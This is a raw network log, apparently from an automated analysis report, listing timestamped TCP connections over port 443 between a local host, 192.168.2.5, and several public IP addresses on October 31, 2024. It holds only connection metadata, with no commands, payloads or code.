Oct 31, 2024 01:18:41.187328100 CET	49841	443	192.168.2.5	18.244.18.32
Oct 31, 2024 01:18:41.191474915 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.191520929 CET	49827	443	192.168.2.5	142.250.186.65
Oct 31, 2024 01:18:41.191525936 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.196273088 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.196332932 CET	49827	443	192.168.2.5	142.250.186.65
Oct 31, 2024 01:18:41.196337938 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.200800896 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.200875998 CET	49827	443	192.168.2.5	142.250.186.65
Oct 31, 2024 01:18:41.200881958 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.205765963 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.207298040 CET	49827	443	192.168.2.5	142.250.186.65
Oct 31, 2024 01:18:41.207303047 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.210346937 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.210395098 CET	49827	443	192.168.2.5	142.250.186.65
Oct 31, 2024 01:18:41.210400105 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.215190887 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.215747118 CET	49827	443	192.168.2.5	142.250.186.65
Oct 31, 2024 01:18:41.215751886 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.219973087 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.223767996 CET	49827	443	192.168.2.5	142.250.186.65
Oct 31, 2024 01:18:41.223773003 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.224603891 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.227732897 CET	49827	443	192.168.2.5	142.250.186.65
Oct 31, 2024 01:18:41.227739096 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.229387045 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.229460001 CET	49827	443	192.168.2.5	142.250.186.65
Oct 31, 2024 01:18:41.229465961 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.233968973 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.235724926 CET	49827	443	192.168.2.5	142.250.186.65
Oct 31, 2024 01:18:41.235729933 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.238487005 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.238540888 CET	49827	443	192.168.2.5	142.250.186.65
Oct 31, 2024 01:18:41.238545895 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.242981911 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.243716955 CET	49827	443	192.168.2.5	142.250.186.65
Oct 31, 2024 01:18:41.243721962 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.247292042 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.247720957 CET	49827	443	192.168.2.5	142.250.186.65
Oct 31, 2024 01:18:41.247725964 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.252878904 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.255732059 CET	49827	443	192.168.2.5	142.250.186.65
Oct 31, 2024 01:18:41.255737066 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.255826950 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.259721994 CET	49827	443	192.168.2.5	142.250.186.65
Oct 31, 2024 01:18:41.259727001 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.375524044 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.375730038 CET	49827	443	192.168.2.5	142.250.186.65
Oct 31, 2024 01:18:41.396728039 CET	443	49848	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:41.405349016 CET	443	49847	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:41.418463945 CET	443	49850	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:41.419362068 CET	443	49849	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:41.419797897 CET	49827	443	192.168.2.5	142.250.186.65
Oct 31, 2024 01:18:41.419809103 CET	443	49827	142.250.186.65	192.168.2.5
Oct 31, 2024 01:18:41.459098101 CET	443	49851	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:41.486404896 CET	49848	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:41.486404896 CET	49850	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:41.531866074 CET	49841	443	192.168.2.5	18.244.18.32
Oct 31, 2024 01:18:41.532128096 CET	443	49841	18.244.18.32	192.168.2.5
Oct 31, 2024 01:18:41.538494110 CET	49851	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:41.538507938 CET	443	49851	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:41.538530111 CET	49848	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:41.538537979 CET	443	49848	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:41.539057970 CET	49851	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:41.539062977 CET	443	49851	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:41.539213896 CET	49848	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:41.539218903 CET	443	49848	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:41.539300919 CET	49849	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:41.539316893 CET	443	49849	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:41.539675951 CET	49849	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:41.539680004 CET	443	49849	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:41.539729118 CET	49850	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:41.539733887 CET	443	49850	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:41.540079117 CET	49847	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:41.540098906 CET	443	49847	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:41.540227890 CET	49850	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:41.540232897 CET	443	49850	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:41.540499926 CET	49847	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:41.540508032 CET	443	49847	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:41.560013056 CET	443	49846	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:41.560118914 CET	49846	443	192.168.2.5	40.126.32.140
Oct 31, 2024 01:18:41.621884108 CET	49846	443	192.168.2.5	40.126.32.140
Oct 31, 2024 01:18:41.621906996 CET	443	49846	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:41.622148037 CET	443	49846	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:41.624363899 CET	49846	443	192.168.2.5	40.126.32.140
Oct 31, 2024 01:18:41.624397039 CET	49846	443	192.168.2.5	40.126.32.140
Oct 31, 2024 01:18:41.624419928 CET	443	49846	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:41.664518118 CET	443	49848	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:41.664542913 CET	443	49848	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:41.664591074 CET	443	49848	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:41.664617062 CET	49848	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:41.664665937 CET	443	49851	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:41.664678097 CET	49848	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:41.664865017 CET	443	49851	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:41.665092945 CET	443	49849	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:41.665107012 CET	443	49849	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:41.665138960 CET	49851	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:41.665163994 CET	49849	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:41.665172100 CET	443	49849	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:41.665245056 CET	443	49849	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:41.666687965 CET	443	49850	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:41.666744947 CET	49849	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:41.666841984 CET	443	49850	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:41.667747021 CET	49850	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:41.668467999 CET	443	49847	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:41.668486118 CET	443	49847	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:41.668529034 CET	443	49847	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:41.668569088 CET	49847	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:41.668585062 CET	49847	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:41.671955109 CET	49848	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:41.671955109 CET	49848	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:41.671982050 CET	443	49848	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:41.671993971 CET	443	49848	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:41.673295975 CET	49850	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:41.673295975 CET	49850	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:41.673305988 CET	443	49850	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:41.673315048 CET	443	49850	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:41.678297043 CET	49847	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:41.678312063 CET	443	49847	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:41.678345919 CET	49847	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:41.678350925 CET	443	49847	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:41.679148912 CET	49851	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:41.679160118 CET	443	49851	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:41.679168940 CET	49851	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:41.679173946 CET	443	49851	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:41.679881096 CET	49849	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:41.679883957 CET	443	49849	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:41.679893970 CET	49849	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:41.679897070 CET	443	49849	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:41.681478977 CET	49841	443	192.168.2.5	18.244.18.32
Oct 31, 2024 01:18:41.681485891 CET	443	49841	18.244.18.32	192.168.2.5
Oct 31, 2024 01:18:41.694451094 CET	49853	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:41.694479942 CET	443	49853	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:41.694535971 CET	49853	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:41.696289062 CET	49854	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:41.696330070 CET	443	49854	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:41.696398020 CET	49854	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:41.696434975 CET	49855	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:41.696444035 CET	443	49855	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:41.696496010 CET	49855	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:41.697570086 CET	49856	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:41.697576046 CET	443	49856	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:41.697829962 CET	49853	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:41.697843075 CET	443	49853	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:41.697865963 CET	49856	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:41.697936058 CET	49856	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:41.697947979 CET	443	49856	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:41.698147058 CET	49855	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:41.698156118 CET	443	49855	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:41.698182106 CET	49854	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:41.698198080 CET	443	49854	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:41.699074030 CET	49857	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:41.699081898 CET	443	49857	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:41.699732065 CET	49857	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:41.699943066 CET	49857	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:41.699950933 CET	443	49857	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:41.750675917 CET	49858	443	192.168.2.5	172.64.41.3
Oct 31, 2024 01:18:41.750694990 CET	443	49858	172.64.41.3	192.168.2.5
Oct 31, 2024 01:18:41.750761032 CET	49858	443	192.168.2.5	172.64.41.3
Oct 31, 2024 01:18:41.751060963 CET	49858	443	192.168.2.5	172.64.41.3
Oct 31, 2024 01:18:41.751074076 CET	443	49858	172.64.41.3	192.168.2.5
Oct 31, 2024 01:18:41.754556894 CET	49859	443	192.168.2.5	162.159.61.3
Oct 31, 2024 01:18:41.754576921 CET	443	49859	162.159.61.3	192.168.2.5
Oct 31, 2024 01:18:41.755737066 CET	49859	443	192.168.2.5	162.159.61.3
Oct 31, 2024 01:18:41.755903006 CET	49859	443	192.168.2.5	162.159.61.3
Oct 31, 2024 01:18:41.755916119 CET	443	49859	162.159.61.3	192.168.2.5
Oct 31, 2024 01:18:41.764122009 CET	49860	443	192.168.2.5	162.159.61.3
Oct 31, 2024 01:18:41.764152050 CET	443	49860	162.159.61.3	192.168.2.5
Oct 31, 2024 01:18:41.764261961 CET	49860	443	192.168.2.5	162.159.61.3
Oct 31, 2024 01:18:41.765068054 CET	49860	443	192.168.2.5	162.159.61.3
Oct 31, 2024 01:18:41.765080929 CET	443	49860	162.159.61.3	192.168.2.5
Oct 31, 2024 01:18:41.785119057 CET	49841	443	192.168.2.5	18.244.18.32
Oct 31, 2024 01:18:41.934020996 CET	443	49852	94.245.104.56	192.168.2.5
Oct 31, 2024 01:18:41.934371948 CET	49852	443	192.168.2.5	94.245.104.56
Oct 31, 2024 01:18:41.934385061 CET	443	49852	94.245.104.56	192.168.2.5
Oct 31, 2024 01:18:41.935370922 CET	443	49852	94.245.104.56	192.168.2.5
Oct 31, 2024 01:18:41.935452938 CET	49852	443	192.168.2.5	94.245.104.56
Oct 31, 2024 01:18:41.935827971 CET	49852	443	192.168.2.5	94.245.104.56
Oct 31, 2024 01:18:41.935889006 CET	443	49852	94.245.104.56	192.168.2.5
Oct 31, 2024 01:18:41.936028004 CET	49852	443	192.168.2.5	94.245.104.56
Oct 31, 2024 01:18:41.936036110 CET	443	49852	94.245.104.56	192.168.2.5
Oct 31, 2024 01:18:41.985682011 CET	49852	443	192.168.2.5	94.245.104.56
Oct 31, 2024 01:18:42.035753965 CET	443	49846	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:42.086059093 CET	49846	443	192.168.2.5	40.126.32.140
Oct 31, 2024 01:18:42.086071014 CET	443	49846	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:42.086575031 CET	49846	443	192.168.2.5	40.126.32.140
Oct 31, 2024 01:18:42.086591959 CET	49846	443	192.168.2.5	40.126.32.140
Oct 31, 2024 01:18:42.086711884 CET	443	49846	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:42.086739063 CET	443	49846	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:42.086808920 CET	49846	443	192.168.2.5	40.126.32.140
Oct 31, 2024 01:18:42.161839008 CET	49863	443	192.168.2.5	40.126.32.140
Oct 31, 2024 01:18:42.161864042 CET	443	49863	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:42.161955118 CET	49863	443	192.168.2.5	40.126.32.140
Oct 31, 2024 01:18:42.168719053 CET	49863	443	192.168.2.5	40.126.32.140
Oct 31, 2024 01:18:42.168731928 CET	443	49863	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:42.186177015 CET	443	49852	94.245.104.56	192.168.2.5
Oct 31, 2024 01:18:42.196331024 CET	49852	443	192.168.2.5	94.245.104.56
Oct 31, 2024 01:18:42.196347952 CET	443	49852	94.245.104.56	192.168.2.5
Oct 31, 2024 01:18:42.196434021 CET	49852	443	192.168.2.5	94.245.104.56
Oct 31, 2024 01:18:42.197398901 CET	49864	443	192.168.2.5	94.245.104.56
Oct 31, 2024 01:18:42.197417021 CET	443	49864	94.245.104.56	192.168.2.5
Oct 31, 2024 01:18:42.197642088 CET	49864	443	192.168.2.5	94.245.104.56
Oct 31, 2024 01:18:42.197844982 CET	49864	443	192.168.2.5	94.245.104.56
Oct 31, 2024 01:18:42.197854042 CET	443	49864	94.245.104.56	192.168.2.5
Oct 31, 2024 01:18:42.203102112 CET	49865	443	192.168.2.5	40.126.32.140
Oct 31, 2024 01:18:42.203135014 CET	443	49865	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:42.203195095 CET	49865	443	192.168.2.5	40.126.32.140
Oct 31, 2024 01:18:42.203471899 CET	49865	443	192.168.2.5	40.126.32.140
Oct 31, 2024 01:18:42.203484058 CET	443	49865	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:42.361901045 CET	443	49859	162.159.61.3	192.168.2.5
Oct 31, 2024 01:18:42.364221096 CET	49859	443	192.168.2.5	162.159.61.3
Oct 31, 2024 01:18:42.364229918 CET	443	49859	162.159.61.3	192.168.2.5
Oct 31, 2024 01:18:42.364238977 CET	443	49858	172.64.41.3	192.168.2.5
Oct 31, 2024 01:18:42.364615917 CET	49858	443	192.168.2.5	172.64.41.3
Oct 31, 2024 01:18:42.364624977 CET	443	49858	172.64.41.3	192.168.2.5
Oct 31, 2024 01:18:42.365190983 CET	443	49859	162.159.61.3	192.168.2.5
Oct 31, 2024 01:18:42.365252972 CET	49859	443	192.168.2.5	162.159.61.3
Oct 31, 2024 01:18:42.366275072 CET	443	49858	172.64.41.3	192.168.2.5
Oct 31, 2024 01:18:42.366358042 CET	49858	443	192.168.2.5	172.64.41.3
Oct 31, 2024 01:18:42.370557070 CET	49859	443	192.168.2.5	162.159.61.3
Oct 31, 2024 01:18:42.370667934 CET	443	49859	162.159.61.3	192.168.2.5
Oct 31, 2024 01:18:42.371285915 CET	49858	443	192.168.2.5	172.64.41.3
Oct 31, 2024 01:18:42.371382952 CET	443	49858	172.64.41.3	192.168.2.5
Oct 31, 2024 01:18:42.371543884 CET	49859	443	192.168.2.5	162.159.61.3
Oct 31, 2024 01:18:42.371548891 CET	443	49859	162.159.61.3	192.168.2.5
Oct 31, 2024 01:18:42.371752024 CET	49858	443	192.168.2.5	172.64.41.3
Oct 31, 2024 01:18:42.371759892 CET	443	49858	172.64.41.3	192.168.2.5
Oct 31, 2024 01:18:42.389874935 CET	443	49860	162.159.61.3	192.168.2.5
Oct 31, 2024 01:18:42.390094995 CET	49860	443	192.168.2.5	162.159.61.3
Oct 31, 2024 01:18:42.390108109 CET	443	49860	162.159.61.3	192.168.2.5
Oct 31, 2024 01:18:42.391103983 CET	443	49860	162.159.61.3	192.168.2.5
Oct 31, 2024 01:18:42.391160011 CET	49860	443	192.168.2.5	162.159.61.3
Oct 31, 2024 01:18:42.392458916 CET	49860	443	192.168.2.5	162.159.61.3
Oct 31, 2024 01:18:42.392520905 CET	443	49860	162.159.61.3	192.168.2.5
Oct 31, 2024 01:18:42.392755032 CET	49860	443	192.168.2.5	162.159.61.3
Oct 31, 2024 01:18:42.392764091 CET	443	49860	162.159.61.3	192.168.2.5
Oct 31, 2024 01:18:42.428468943 CET	443	49854	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:42.436674118 CET	443	49856	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:42.441230059 CET	443	49857	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:42.444443941 CET	443	49853	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:42.451881886 CET	49853	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:42.451894045 CET	443	49853	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:42.452414036 CET	49853	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:42.452418089 CET	443	49853	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:42.452740908 CET	49854	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:42.452756882 CET	443	49854	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:42.453207016 CET	49854	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:42.453212023 CET	443	49854	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:42.453448057 CET	49856	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:42.453459024 CET	443	49856	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:42.454359055 CET	49856	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:42.454363108 CET	443	49856	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:42.455118895 CET	49857	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:42.455132961 CET	443	49857	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:42.455492973 CET	49857	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:42.455497980 CET	443	49857	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:42.471498966 CET	443	49855	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:42.474605083 CET	49855	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:42.474618912 CET	443	49855	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:42.475140095 CET	49855	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:42.475142956 CET	443	49855	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:42.500608921 CET	443	49859	162.159.61.3	192.168.2.5
Oct 31, 2024 01:18:42.500679970 CET	49859	443	192.168.2.5	162.159.61.3
Oct 31, 2024 01:18:42.502121925 CET	443	49858	172.64.41.3	192.168.2.5
Oct 31, 2024 01:18:42.502182961 CET	49858	443	192.168.2.5	172.64.41.3
Oct 31, 2024 01:18:42.511917114 CET	49859	443	192.168.2.5	162.159.61.3
Oct 31, 2024 01:18:42.511924028 CET	443	49859	162.159.61.3	192.168.2.5
Oct 31, 2024 01:18:42.512254000 CET	49858	443	192.168.2.5	172.64.41.3
Oct 31, 2024 01:18:42.512263060 CET	443	49858	172.64.41.3	192.168.2.5
Oct 31, 2024 01:18:42.524986982 CET	443	49860	162.159.61.3	192.168.2.5
Oct 31, 2024 01:18:42.525059938 CET	49860	443	192.168.2.5	162.159.61.3
Oct 31, 2024 01:18:42.525191069 CET	49860	443	192.168.2.5	162.159.61.3
Oct 31, 2024 01:18:42.525208950 CET	443	49860	162.159.61.3	192.168.2.5
Oct 31, 2024 01:18:42.580111027 CET	443	49854	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:42.580163002 CET	443	49854	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:42.580255985 CET	49854	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:42.580681086 CET	49854	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:42.580701113 CET	443	49854	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:42.580709934 CET	49854	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:42.580715895 CET	443	49854	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:42.580904961 CET	443	49856	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:42.580909967 CET	443	49857	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:42.580964088 CET	443	49857	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:42.581008911 CET	49857	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:42.581051111 CET	443	49856	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:42.581198931 CET	49856	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:42.582890987 CET	49856	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:42.582900047 CET	443	49856	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:42.582910061 CET	49856	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:42.582914114 CET	443	49856	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:42.584299088 CET	49857	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:42.584305048 CET	443	49857	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:42.584322929 CET	49857	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:42.584327936 CET	443	49857	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:42.588776112 CET	49869	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:42.588808060 CET	443	49869	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:42.588888884 CET	49869	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:42.590830088 CET	49871	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:42.590837955 CET	443	49871	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:42.590898991 CET	49871	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:42.591042995 CET	49870	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:42.591070890 CET	443	49870	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:42.591125011 CET	49870	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:42.591516018 CET	49869	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:42.591526985 CET	443	49869	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:42.591634989 CET	49871	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:42.591646910 CET	443	49871	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:42.592137098 CET	49870	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:42.592148066 CET	443	49870	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:42.609343052 CET	443	49855	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:42.609440088 CET	443	49855	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:42.609493971 CET	49855	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:42.609682083 CET	49855	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:42.609685898 CET	443	49855	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:42.609695911 CET	49855	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:42.609699011 CET	443	49855	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:42.621319056 CET	49872	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:42.621335983 CET	443	49872	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:42.621412039 CET	49872	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:42.621650934 CET	49872	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:42.621668100 CET	443	49872	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:42.722757101 CET	443	49853	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:42.722825050 CET	443	49853	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:42.722888947 CET	49853	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:42.730065107 CET	49853	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:42.730071068 CET	443	49853	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:42.737256050 CET	49873	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:42.737279892 CET	443	49873	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:42.737520933 CET	49873	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:42.737737894 CET	49873	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:42.737752914 CET	443	49873	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:43.015562057 CET	49864	443	192.168.2.5	94.245.104.56
Oct 31, 2024 01:18:43.018651962 CET	49841	443	192.168.2.5	18.244.18.32
Oct 31, 2024 01:18:43.018800974 CET	443	49841	18.244.18.32	192.168.2.5
Oct 31, 2024 01:18:43.018850088 CET	49841	443	192.168.2.5	18.244.18.32
Oct 31, 2024 01:18:43.021861076 CET	49874	443	192.168.2.5	172.64.41.3
Oct 31, 2024 01:18:43.021887064 CET	443	49874	172.64.41.3	192.168.2.5
Oct 31, 2024 01:18:43.021939993 CET	49874	443	192.168.2.5	172.64.41.3
Oct 31, 2024 01:18:43.022160053 CET	49875	443	192.168.2.5	172.64.41.3
Oct 31, 2024 01:18:43.022176027 CET	443	49875	172.64.41.3	192.168.2.5
